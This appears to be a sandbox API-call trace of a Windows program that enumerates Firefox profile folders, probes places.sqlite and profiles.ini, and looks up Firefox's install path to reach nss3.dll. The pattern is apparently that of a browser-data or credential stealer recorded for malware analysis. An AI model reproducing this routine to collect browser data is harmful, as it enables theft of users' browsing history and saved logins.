	[0100.171] wcscat (in: _Dest=0x18b524, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
	[0100.171] wcscat (in: _Dest=0x18b524, _Source="3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0100.171] wcscmp (_String1="3y2joh8o.default", _String2="..") returned 1
	[0100.171] wcscmp (_String1="3y2joh8o.default", _String2=".") returned 1
	[0100.171] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0100.171] FindNextFileW (in: hFindFile=0x616d40, lpFindFileData=0x18b2d4 | out: lpFindFileData=0x18b2d4) returned 0
	[0100.171] FindClose (in: hFindFile=0x616d40 | out: hFindFile=0x616d40) returned 1
	[0100.171] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0100.171] wcslen (_String="history.dat") returned 0xb
	[0100.171] wcscpy (in: _Dest=0x18be88, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0100.171] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0100.171] wcscat (in: _Dest=0x18be88, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\"
	[0100.171] wcscat (in: _Dest=0x18be88, _Source="history.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\history.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\history.dat"
	[0100.171] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\history.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\history.dat")) returned 0xffffffff
	[0100.173] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0100.173] wcslen (_String="places.sqlite") returned 0xd
	[0100.173] wcscpy (in: _Dest=0x18be88, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0100.173] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0100.173] wcscat (in: _Dest=0x18be88, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\"
	[0100.173] wcscat (in: _Dest=0x18be88, _Source="places.sqlite" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite"
	[0100.173] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\places.sqlite")) returned 0x2020
	[0100.174] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned 0x59
	[0100.174] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\places.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x108
	[0100.175] GetFileTime (in: hFile=0x108, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18c0fc | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18c0fc*(dwLowDateTime=0xa01f3180, dwHighDateTime=0x1d2f18c)) returned 1
	[0100.175] CloseHandle (hObject=0x108) returned 1
	[0100.175] CompareFileTime (lpFileTime1=0x18c0fc, lpFileTime2=0x18c104) returned 1
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned 0x59
	[0100.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18bed8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1
	[0100.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18b698, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1
	[0100.175] wcslen (_String="Mozilla\\Firefox\\Profiles") returned 0x18
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0100.175] wcscpy (in: _Dest=0x18bcc8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming"
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0100.175] wcscat (in: _Dest=0x18bcc8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0100.175] wcscat (in: _Dest=0x18bcc8, _Source="Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.175] wcslen (_String="Mozilla\\Firefox\\Profiles") returned 0x18
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0100.175] wcscpy (in: _Dest=0x18bab8, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local"
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0100.175] wcscat (in: _Dest=0x18bab8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\"
	[0100.175] wcscat (in: _Dest=0x18bab8, _Source="Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
	[0100.175] wcslen (_String="Mozilla\\Firefox") returned 0xf
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0100.175] wcscpy (in: _Dest=0x18b8a8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming"
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0100.175] wcscat (in: _Dest=0x18b8a8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0100.175] wcscat (in: _Dest=0x18b8a8, _Source="Mozilla\\Firefox" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox"
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.175] wcslen (_String="*.*") returned 0x3
	[0100.175] wcscpy (in: _Dest=0x18aa7c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.175] wcscat (in: _Dest=0x18aa7c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
	[0100.176] wcscat (in: _Dest=0x18aa7c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*"
	[0100.176] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 0x616d40
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.176] wcslen (_String=".") returned 0x1
	[0100.176] wcscpy (in: _Dest=0x18af54, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.176] wcscat (in: _Dest=0x18af54, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
	[0100.176] wcscat (in: _Dest=0x18af54, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\."
	[0100.176] wcscmp (_String1=".", _String2="..") returned -1
	[0100.176] wcscmp (_String1=".", _String2=".") returned 0
	[0100.176] FindNextFileW (in: hFindFile=0x616d40, lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 1
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.176] wcslen (_String="..") returned 0x2
	[0100.176] wcscpy (in: _Dest=0x18af54, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.176] wcscat (in: _Dest=0x18af54, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
	[0100.176] wcscat (in: _Dest=0x18af54, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.."
	[0100.176] wcscmp (_String1="..", _String2="..") returned 0
	[0100.176] FindNextFileW (in: hFindFile=0x616d40, lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 1
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.176] wcslen (_String="3y2joh8o.default") returned 0x10
	[0100.176] wcscpy (in: _Dest=0x18af54, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.176] wcscat (in: _Dest=0x18af54, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
	[0100.176] wcscat (in: _Dest=0x18af54, _Source="3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0100.176] wcscmp (_String1="3y2joh8o.default", _String2="..") returned 1
	[0100.176] wcscmp (_String1="3y2joh8o.default", _String2=".") returned 1
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0100.176] FindNextFileW (in: hFindFile=0x616d40, lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 0
	[0100.176] FindClose (in: hFindFile=0x616d40 | out: hFindFile=0x616d40) returned 1
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38
	[0100.176] wcslen (_String="*.*") returned 0x3
	[0100.176] wcscpy (in: _Dest=0x18aa7c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
	[0100.176] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38
	[0100.176] wcscat (in: _Dest=0x18aa7c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\"
	[0100.176] wcscat (in: _Dest=0x18aa7c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*"
	[0100.176] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 0x616d40
	[0100.178] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38
	[0100.178] wcslen (_String=".") returned 0x1
	[0100.178] wcscpy (in: _Dest=0x18af54, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
	[0100.178] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38
	[0100.179] wcscat (in: _Dest=0x18af54, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\"
	[0100.179] wcscat (in: _Dest=0x18af54, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\."
	[0100.179] wcscmp (_String1=".", _String2="..") returned -1
	[0100.179] wcscmp (_String1=".", _String2=".") returned 0
	[0100.179] FindNextFileW (in: hFindFile=0x616d40, lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 1
	[0100.179] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38
	[0100.179] wcslen (_String="..") returned 0x2
	[0100.179] wcscpy (in: _Dest=0x18af54, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
	[0100.179] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38
	[0100.179] wcscat (in: _Dest=0x18af54, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\"
	[0100.179] wcscat (in: _Dest=0x18af54, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\.."
	[0100.179] wcscmp (_String1="..", _String2="..") returned 0
	[0100.179] FindNextFileW (in: hFindFile=0x616d40, lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 1
	[0100.179] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38
	[0100.179] wcslen (_String="3y2joh8o.default") returned 0x10
	[0100.179] wcscpy (in: _Dest=0x18af54, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
	[0100.179] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38
	[0100.179] wcscat (in: _Dest=0x18af54, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\"
	[0100.179] wcscat (in: _Dest=0x18af54, _Source="3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0100.179] wcscmp (_String1="3y2joh8o.default", _String2="..") returned 1
	[0100.179] wcscmp (_String1="3y2joh8o.default", _String2=".") returned 1
	[0100.179] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x49
	[0100.179] FindNextFileW (in: hFindFile=0x616d40, lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 0
	[0100.179] FindClose (in: hFindFile=0x616d40 | out: hFindFile=0x616d40) returned 1
	[0100.179] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x31
	[0100.179] wcslen (_String="profiles.ini") returned 0xc
	[0100.179] wcscpy (in: _Dest=0x18aa2c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox"
	[0100.179] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x31
	[0100.179] wcscat (in: _Dest=0x18aa2c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\"
	[0100.179] wcscat (in: _Dest=0x18aa2c, _Source="profiles.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini"
	[0100.179] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini")) returned 0x2020
	[0100.180] wcscpy (in: _Dest=0x18ac40, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini"
	[0100.180] wcscpy (in: _Dest=0x18ae4a, _Source="General" | out: _Dest="General") returned="General"
	[0100.180] _snwprintf (in: _Dest=0x18b054, _Count=0xff, _Format="Profile%d" | out: _Dest="Profile0") returned 8
	[0100.180] wcscpy (in: _Dest=0x18ae4a, _Source="Profile0" | out: _Dest="Profile0") returned="Profile0"
	[0100.180] GetPrivateProfileStringW (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x18b254, nSize=0x104, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/3y2joh8o.default") returned 0x19
	[0100.181] GetPrivateProfileIntW (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1
	[0100.182] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x31
	[0100.182] wcslen (_String="Profiles\\3y2joh8o.default") returned 0x19
	[0100.182] wcscpy (in: _Dest=0x18a820, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox"
	[0100.182] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x31
	[0100.182] wcscat (in: _Dest=0x18a820, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\"
	[0100.182] wcscat (in: _Dest=0x18a820, _Source="Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0100.182] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0100.182] _snwprintf (in: _Dest=0x18b054, _Count=0xff, _Format="Profile%d" | out: _Dest="Profile1") returned 8
	[0100.248] wcscpy (in: _Dest=0x18ae4a, _Source="Profile1" | out: _Dest="Profile1") returned="Profile1"
	[0100.248] GetPrivateProfileStringW (in: lpAppName="Profile1", lpKeyName="Path", lpDefault="", lpReturnedString=0x18b254, nSize=0x104, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="") returned 0x0
	[0100.249] GetPrivateProfileIntW (lpAppName="Profile1", lpKeyName="IsRelative", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x0
	[0100.250] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0100.250] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 6
	[0100.250] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", _String2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0
	[0100.251] _snwprintf (in: _Dest=0x18a528, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox\\bin") returned 19
	[0100.251] RegOpenKeyExW (in: hKey=0x108, lpSubKey="Mozilla Firefox\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x18a4f8 | out: phkResult=0x18a4f8*=0x0) returned 0x2
	[0100.251] RegEnumKeyExW (in: hKey=0x108, dwIndex=0x2, lpName=0x18af38, lpcchName=0x18a508, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18a500 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x18a508, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18a500) returned 0x0
	[0100.251] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0
	[0100.251] _snwprintf (in: _Dest=0x18a528, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox 25.0\\bin") returned 24
	[0100.251] RegOpenKeyExW (in: hKey=0x108, lpSubKey="Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x18a4f8 | out: phkResult=0x18a4f8*=0x10c) returned 0x0
	[0100.251] RegQueryValueExW (in: hKey=0x10c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x18a4dc, lpData=0x18b138, lpcbData=0x18a4e0*=0x208 | out: lpType=0x18a4dc*=0x1, lpData="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpcbData=0x18a4e0*=0x66) returned 0x0
	[0100.251] RegCloseKey (hKey=0x10c) returned 0x0
	[0100.251] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
	[0100.251] wcslen (_String="nss3.dll") returned 0x8
	[0100.251] wcscpy (in: _Dest=0x18a300, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0100.251] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
